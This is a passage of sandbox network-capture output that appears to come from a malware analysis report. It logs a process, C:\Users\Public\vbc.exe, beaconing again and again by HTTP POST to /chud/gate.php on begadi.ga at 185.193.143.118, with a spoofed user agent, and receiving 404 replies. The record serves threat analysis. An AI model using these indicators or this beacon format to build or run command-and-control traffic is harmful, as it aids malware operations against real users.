Dec 21, 2020 08:33:38.546295881 CET	633	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.22	49297	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.22	49298	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.22	49299	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.22	49300	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.22	49301	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.22	49302	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.22	49303	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.22	49304	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.22	49305	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.22	49306	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49181	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:38.845704079 CET	634	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:39.040893078 CET	634	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.22	49307	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.22	49308	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.22	49309	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.22	49310	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.22	49311	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.22	49312	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.22	49313	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.22	49314	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.22	49315	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.22	49316	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49182	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:39.320761919 CET	635	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:39.513073921 CET	636	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.22	49317	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.22	49318	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.22	49319	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.22	49320	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.22	49321	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.22	49322	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.22	49323	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.22	49324	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.22	49325	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.22	49326	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49183	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:39.813663960 CET	637	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:40.004152060 CET	637	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.22	49327	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.22	49328	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.22	49329	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.22	49330	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.22	49331	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.22	49332	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.22	49333	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.22	49334	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.22	49335	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.22	49336	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49184	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:40.294286013 CET	638	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:40.472325087 CET	638	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.22	49337	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.22	49338	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.22	49339	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.22	49340	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.22	49341	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.22	49342	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.22	49343	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.22	49344	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49185	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:40.742275953 CET	639	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:40.927834988 CET	640	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49186	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:41.221610069 CET	641	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:41.413666010 CET	641	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49169	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:33.097276926 CET	617	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 176 Connection: close
Dec 21, 2020 08:33:33.289712906 CET	618	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49187	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:41.708348036 CET	642	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:41.895755053 CET	643	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49188	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:42.188874006 CET	643	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:42.381172895 CET	644	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49189	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:42.666408062 CET	645	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:42.848618984 CET	645	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49190	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:43.123722076 CET	646	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:43.317317009 CET	647	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49191	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:43.611074924 CET	648	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:43.801179886 CET	648	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49192	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:44.096730947 CET	649	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:44.293749094 CET	649	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49193	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:44.571158886 CET	650	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:44.761157990 CET	651	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.22	49194	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:45.056071043 CET	652	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:45.256386995 CET	652	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.22	49195	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:45.531713009 CET	653	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:45.724093914 CET	654	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.22	49196	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:46.000245094 CET	654	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:46.197207928 CET	655	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49170	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:33.482024908 CET	619	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:33.668128967 CET	619	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.22	49197	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:46.505912066 CET	656	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:46.689477921 CET	656	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.22	49198	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:46.952497005 CET	657	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:47.145210028 CET	658	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.22	49199	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:47.436851978 CET	659	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:47.628328085 CET	659	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.22	49200	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:47.907512903 CET	660	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:48.102720976 CET	660	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.22	49201	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:48.399306059 CET	661	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:48.594541073 CET	662	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.22	49202	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:48.868225098 CET	663	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
